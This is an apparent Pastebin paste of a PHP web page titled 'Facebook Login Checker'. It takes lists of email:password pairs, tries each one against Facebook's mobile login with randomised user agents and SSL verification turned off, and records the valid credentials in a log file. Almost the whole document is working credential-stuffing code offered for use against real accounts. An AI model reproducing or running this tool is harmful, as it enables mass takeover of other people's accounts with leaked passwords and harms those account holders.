Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head><title>Facebook Login Checker </title>
- <style type="text/css">
- body{
- background-color: #000;
- font-family: courier new;
- font-size:11px;
- color:#FFFFFF;
- scrollbar-face-color: #FFFFFF;
- scrollbar-highlight-color: #000000;
- scrollbar-shadow-color: #000000;
- scrollbar-3dlight-color: #FFFFFF;
- scrollbar-arrow-color: #FFFFFF;
- scrollbar-track-color: #FFFFFF;
- scrollbar-darkshadow-color: #FFFFFF;
- }
- input,textarea{
- font-family: courier new;
- font-size:20px;
- color:#00FF00;
- background-color: #000000;
- border:1px solid #00FF00;
- }
- </style>
- </head>
- <body>
- <center>
- <h2>Facebook Login Checker By Viole403</h2><br>
- <img src="http://img15.hostingpics.net/pics/119807Sanstitre.png">
- <form name="" method="post">
- <textarea name="logins" class="input" cols="50" rows="10"></textarea><br><h4>Copyright © 2018 by ./Kachang</h4><br>
- <input type="submit" value="Check!">
- </form>
- <?php
- error_reporting(0);
- set_time_limit(0);
- if(isset($_POST['logins'])){
- $logins = trim($_POST['logins']);
- flush(); ob_flush();
- $logins = split("\n", $logins);
- $jum = count($logins);
- flush(); ob_flush();
- print "<hr><b>Checking ".$jum." Facebook logins now...<br>Please wait...</b><br>";
- flush(); ob_flush();
- for($x = 0; $x < $jum; $x++) {
- $logins = str_replace(" ", "", $logins);
- $logins = str_replace("\r", "", $logins);
- $logins = str_replace("\n", "", $logins);
- list($email, $password) = split(":", $logins[$x]);
- $num = $x + 1;
- print "<br>[".$num."] ".$email.":".$password." - ";
- flush(); ob_flush();
- if(file_exists("fb.txt")) {
- unlink("fb.txt");
- }
- $cek = CekLogin($email, $password);
- print $cek;
- }
- print "<hr><b>Done!</b>";
- }
- function CekLogin($email,$passw) {
- $uas = array(1 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6",
- 2 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
- 3 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6",
- 4 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",
- 5 => "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)");
- $ua = rand(1, count($uas));
- $ua = $uas[$ua];
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2F&refid=8
- ");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_ENCODING, "");
- curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, $ua);
- $chEx = curl_exec($ch);
- curl_close($ch);
- $chr = substr($chEx, strpos($chEx, "name=\"charset_test\""));
- $chr = substr($chr, strpos($chr, "value=") + 7);
- $chr = substr($chr, 0, strpos($chr, "\""));
- $form = substr($chEx, strpos($chEx, "name=\"post_form_id\""));
- $form = substr($form, strpos($form, "value=") + 7);
- $form = substr($form, 0, strpos($form, "\""));
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://m.facebook.com/login.php?m=m&refsrc=http%3A%2F%2Fm.facebook.com%2Fhome.php&fbb=rb99b9fa7&refid=8");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "lsd=&post_form_id=$form&charset_test=$chr&email=$email&pass=$passw&login=Log+In");
- curl_setopt($ch, CURLOPT_ENCODING, "");
- curl_setopt($ch, CURLOPT_COOKIEFILE, "fb.txt");
- curl_setopt($ch, CURLOPT_COOKIEJAR, "fb.txt");
- curl_setopt($ch, CURLOPT_USERAGENT, $ua);
- $chEx = curl_exec($ch);
- curl_close($ch);
- if(preg_match("/Home/", $chEx)) {
- print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/Home/", $chEx)) {
- print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/The following people want to be your friend on Facebook/")) {
- print "<b><font color=#00ff00>Logged in Successfully!</font></b>";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/Sorry, something went wrong./", $chEx)) {
- print "<font color='#ff0000'>Facebook Error!!</font>";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/Sorry, your account is temporarily unavailable./", $chEx)) {
- print "Logged in. but this account is temporarily unavailable.";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/Incorrect email\/password combination./", $chEx)) {
- print "<font color='#ff0000'>Incorrect email/password combination.</font>";
- } elseif(preg_match("/since this location is very unusual for you/", $chEx)) {
- print "Logged in. but it need verification for your location through email.";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- } elseif(preg_match("/Your account has been disabled/",$chEx)) {
- print "Account Disabled";
- } else {
- print "ERROR , please check it manually!";
- $file = fopen("facebook_log.txt","a+");
- fwrite($file,$email.":".$passw."\n");
- fclose($file);
- }
- }
- ?>
- </center>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement